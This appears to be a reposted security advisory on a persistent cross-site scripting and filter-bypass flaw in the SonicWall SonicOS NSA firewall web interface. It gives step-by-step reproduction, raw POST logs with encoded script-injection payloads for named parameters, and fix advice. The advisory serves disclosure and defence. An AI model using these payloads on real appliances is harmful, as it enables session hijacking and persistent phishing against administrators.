SonicWall SonicOS NSA UTM Firewall Bypass Persistent Vulnerability

Document Title:
===============
SonicWall SonicOS NSA – Bypass & Persistent Vulnerability
Product & Service Introduction:
===============================
Achieve a deeper level of security with the SonicWALL Network Security Appliance (NSA) Series of next-generation
firewalls. NSA Series appliances
integrate automated and dynamic security capabilities into a single platform, combining the patented1, SonicWALL
Reassembly Free Deep Packet
Inspection (RFDPI) firewall engine with a powerful, massively scalable, multi-core architecture. Now you can block even
the most sophisticated
threats with an intrusion prevention system (IPS) featuring advanced anti-evasion capabilities, SSL decryption and
inspection, and network-based
malware protection that leverages the power of the cloud.
(Copy of the Homepage: http://www.sonicwall.com/products/sonicwall-nsa/ )
The proven SonicOS architecture is at the core of every Dell SonicWALL firewall from the SuperMassive™ E10800 to the TZ
100. SonicOS uses deep packet
inspection technology in combination with multi-core specialized security microprocessors to deliver application
intelligence, control, and real-time
visualization, intrusion prevention, high-speed virtual private networking (VPN) technology and other robust security
features.
(Copy of the Homepage: http://www.sonicwall.com/network-security-os-platform/ )
Affected Product(s):
====================
DELL SonicWall
Product: Sonicwall SonicOS (all versions)
Technical Details & Description:
================================
A filter bypass issue and an application-side web vulnerability has been discovered in the official SonicWall NSA
Web-Firewall Appliance Series with SonicOS.
The filter bypass issue allows an attacker to bypass a restricted mechanism or a filter protection to finally evade the
controls of the web-application.
The `Security Service` section with the `Content Filter` module allows an attacker to bypass the regular web-filter
validation mechanism.
Remote attackers with privileged appliance user accounts are able to inject own malicious script codes on the
application-side of the affected modules.
The filter of the `CFS Custom Category` module with the `Add` function allows an attacker to bypass the regular
web-filter validation of the web-application.
As far as an attacker injects in the `CFS Custom Category` a payload to the as `Name`, he will be forced to use only
words without script code by a secure
exception-handling. In the Formular of the Edit procedure is also an `Update` function available. Remote attackers with
local low privileged user accounts
are able to bypass the name input validation the following way. First the attacker inserts a regular domain, after that
the update function is available.
Now the attacker injects his payload to the ` Content` input field and clicks update to the already temporarily stored
entry. Now the illegal payload is
inside the listing and can be saved via `OK` for further manipulation to compromise the web appliance of sonicwall. The
vulnerable files were the injection
point is located are `addTrustedDomainDlg.html` and `gavCloudExclusions.html`. The final script code execution occurs
in the `main.html or index` file.
The same filter bypass issue is located in the `Cloud AV DB Exclusion Settings` module with the vulnerable `Cloud AV
Signature ID` input field context as well.
After the context is include an application-side script code execution occurs in the main listing of the `CFS Custom
Category`. The validation does not encode
the input of the Edit formular and sends the context to the item listing in the index of the content filter module. The
attack vector of the issue is located
on the application-side and the request method to inject is POST.
The security risk of the filter bypass and persistent validation vulnerability is estimated as medium with a cvss
(common vulnerability scoring system) count of 4.5.
Exploitation of the persistent input validation web vulnerability requires a low privileged or restricted
web-application user account and low or medium user interaction.
Successful exploitation of the vulnerability results in session hijacking, persistent phishing, persistent external
redirects to malicious source and persistent manipulation
of affected or connected application modules.

Request Method(s):
[+] POST
Vulnerable Module(s):
[+] CFS Custom Category
[+] Cloud AV DB Exclusion Settings
Vulnerable File(s):
[+] addTrustedDomainDlg.html
[+] gavCloudExclusions.html
Vulnerable Inputs(s):
[+] Name
[+] Content
[+] Cloud AV Signature ID
Vulnerable Parameter(s):
[+] cfsRatingObjectName
[+] selectedItem
[+] itemList
[+] cfsRatingDomainList
[+] gav_cloud_exclude_list
[+] inputbox
[+] list
Affected Module(s):
[+] CFS Custom Category - Item Listing (Name & Content)
[+] Gateway Anti-Virus Signatures - Item Listing (Name & Content)
Proof of Concept (PoC):
=======================
The filter bypass and application-side input validation vulnerability can be exploited by remote attackers with
privileged
web-application user account and low or medium user interaction For security demonstration or to reproduce the web
vulnerability
follow the provided information and steps below to continue.
Manual steps to reproduce the vulnerability …
1. Open the appliance web-application (nsa series)
2. Login to the application
3. Switch to the Security Services
4. Open the Content Filter module
5. Scroll down and click in the `CFS Custom Category` the `Add` button
6. Now, a new form opens with several inputs
Note: To edit existing items the item listing or to add new context to the item listing
7. Include a regular name and a basic content as domain name
8. Save the entry temporarily via `Add` to the edit list
9. Choose the same track that you added and include a script code payload after the domainname
10. Now, click on update (Note via Add!)
11. The illegal domain context is now saved
Note: We used the update function to bypass the protected Add mechanism
12. Click the Ok button to save the entry to the dbms of the appliance web-application
13. The code executes directly in the item list of the CFS Custom Category module next to the add function
14. Successful reproduce of the filter bypass issue and persistent vulnerability!
--- Session Logs (Standard Request) ---
Status: pending[]
Mime Type[unknown]
   Request Header:
      Host[utm_waf.sonicwall.localhost:8351]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Cookie[curUrl=securityServicesCFView.html; curUsr=; 77177=local; 1008=2; 1021=600; 1023=10; 1024=5; 1031=0;
1032=0; 1033=0;
1034=0; 1035=0; 1040=4; 1041=1; 1042=0; 1043=0; 1044=0; 1045=0; 1007=applFolder; 1022=true; SessId=null; PageSeed=null;
tabbedWinAlert=done; 777=0; 7433=divHAInterfaces; 7513=0]
   POST-Daten:
      csrfToken[]
      cfsRatingObjectName[test23]
      cfsRatingCategory[2]
      selectedItem[test.com]
      itemList[test.com]
      cfsRatingDomainList[test.com]
      refresh_page[securityServicesCFView.html]
      tableIndex[-1]
      cgiaction[%5Bobject+Window%5D]
--- PoC Session Logs (POST) [Inject] #1 ---
Status: pending[]
Mime Type[unknown]
   Request Header:
      Host[utm_waf.sonicwall.localhost:8351]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Cookie[curUrl=systemStatusView.html; curUsr=; 77177=local; 1008=2; 1021=600; 1023=10; 1024=5; 1031=0; 1032=0;
1033=0; 1034=0; 1035=0;
1040=4; 1041=1; 1042=0; 1043=0; 1044=0; 1045=0; 1007=applFolder; 1022=true; SessId=null; PageSeed=null;
tabbedWinAlert=done; 777=0; 7433=divHAInterfaces; 7513=0]
   POST-Daten:
      csrfToken[]
      cfsRatingObjectName[+%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%2823%29%3B%3EMALIICOUS INJECTED PAYLOAD!]
      cfsRatingCategory[9]
      
selectedItem[testdomain.com++%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%2823%29%3B%3E+++%22%3E%3C%22%3Cimg+src%3D%22x%22%3E%2520%2520%3E%22%3Ciframe+src%3Da%3E%2520%3Ciframe%3E]
      
itemList[testdomain.com++%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%2823%29%3B%3E+++%22%3E%3C%22%3Cimg+src%3D%22x%22%3E%2520%2520%3E%22%3Ciframe+src%3Da%3E%2520%3Ciframe%3E]
      
cfsRatingDomainList[testdomain.com++%22%26gt%3B%26lt%3Bimg+src%3Dx+onerror%3Dprompt%2823%29%3B%26gt%3B+++%22%26gt%3B%26lt%3B%22%26lt%3Bimg+src%3D%22x%22%26gt%3B%2520%2520%26gt%3B%22%26lt%3Biframe+src%3Da%26gt%3B%2520%26lt%3Biframe%26gt%3B]
      refresh_page[securityServicesCFView.html]
      tableIndex[-1]
      cgiaction[%5Bobject+Window%5D]
--- PoC Session Logs (POST) [Inject] #2 ---
Status: pending[]
Mime Type[unknown]
   Request Header:
      Host[utm_waf.sonicwall.localhost:8351]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Cookie[curUrl=gavSummary.html; curUsr=; 77177=local; 1008=2; 1021=600; 1023=10; 1024=5; 1031=0; 1032=0; 1033=0;
1034=0; 1035=0; 1040=4; 1041=1; 1042=0; 1043=0; 1044=0;
1045=0; 1007=applFolder; 1022=true; SessId=null; PageSeed=null; tabbedWinAlert=done; 777=0; 7433=divHAInterfaces;
7513=0; 2039=local; 2040=%7B%22refreshTime%22%3A3%2C%22
showTimeRange%22%3A10%2C%22refreshEnable%22%3Atrue%2C
%22viewApplications%22%3A1%2C%22viewBandwidth%22%3A1%2C%22viewPktRate%22%3A1%2C%22viewPktSize%22%3A1%2C%22
viewConnRate%22%3A1%2C%22viewConnCount%22%3A1%2C%22viewCoreMonitor%22%3A1%2C%22displayBandwidth%22%3A%22bwSelRate%22%2C
%22displayPktRate%22%3A%22pktRateSelRate%22%2C%22displayPktSize%22%3A%22pktSizeSelRate%22%2C%22displayConnRate%22%3A%22
connRateSelRate%22%2C%22displayConnCount%22%3A%22connCountSelCount%22%2C%22ipVerBandwidth%22%3A%222%22%2C
%22ipVerApps%22%3A%222%22%2C%22showMostFrequentApps%22%3Afalse%2C%22inChartAppLegends%22%3Afalse%2C%22hideAppLegends%22%3Atrue%2C%22inChartBwLegends
%22%3Afalse%2C%22hideBwLegends%22%3Atrue%2C%22hidePktRateLegends%22%3Atrue%2C
%22hidePktSizeLegends%22%3Atrue%2C%22hideConnRateLegends%22%3Atrue%2C%22hideConnCountLegends%22%3Atrue%2C%22hideAppChart%22%3Afalse%2C%22hideBwChart
%22%3Afalse%2C%22hidePktRateChart%22%3Afalse%2C%22hidePktSizeChart%22%3Afalse%2C
%22hideConnRateChart%22%3Afalse%2C%22hideConnCountChart%22%3Afalse%2C%22hideCoreMonChart%22%3Afalse%2C%22hideMemoryMonChart%22%3Afalse%2C%22rtAppColors
%22%3A%5B%22%23081D58%22%2C%22%23253494%22%2C%22%23225EA8%22%2C%22%231D91C0%22%2C
%22%2341B6C4%22%2C%22%237FCDBB%22%2C%22%23C7E9B4%22%2C%22%23EDF8B1%22%2C%22%23FFFFD9%22%5D%2C%22rtDataColors
%22%3A%5B%22%23E41A1C%22%2C%22%23377EB8%22%2C%22%234DAF4A%22%2C%22%23984EA3%22%2C%22%23FF7F00%22%2C%22%23FFFF33%22%2C
%22%23A65628%22%2C%22%23F781BF%22%2C%22%23999999%22%2C%22%235A6B34%22%2C%22%23F0D64E%22%2C%22%23D7B740%22%2C%22%23AB80
24%22%2C%22%23925818%22%2C%22%23DB5A6E%22%2C%22%23071D69%22%2C%22%230A1650%22%2C%22%234571DA%22%2C%22%23E18B5C%22%2C
%22%23028482%22%2C%22%237ABA7A%22%2C%22%23B76EB8%22%5D%2C%22useGradient%22%3Atrue%7D]
POST-Daten:
      csrfToken[???]
      inputbox[123123123+%22%3E%3CMALIICOUS INJECTED PAYLOAD!+src%3Da%3E]
      list[123123123+%22%3E%3CMALIICOUS INJECTED PAYLOAD!+src%3Da%3E]
      gav_cloud_exclude_list[123123123+%22%3E%3CMALIICOUS INJECTED PAYLOAD!+src%3Da%3E]
      gav_cloud_refresh_exclusions[]
      refresh_page[gav_cloud.html]
      isobject[1]
      cgiaction[%5Bobject+Window%5D]
Reference(s):
https://utm_waf.sonicwall.localhost:8351/main.cgihttps://utm_waf.sonicwall.localhost:8351/gavCloudExclusions.html
https://utm_waf.sonicwall.localhost:8351/addTrustedDomainDlg.html
Solution – Fix & Patch:
=======================
The vulnerability can be patched by setting up a secure validation for the update inputbox save procedure. Use the same
as on the add procedure.
Encode the context and disallow usage of special chars in the item list when processing to add. Parse the context and
filter the input next to
the permanent save that finally displays the context in the main item list to prevent an application-side script code
execution.
Note: The vulnerabilities has been reported to the dell security team. The issue has been resolved to 2016Q4 – 2017Q4
by the sonicwall developers.

Leave a Reply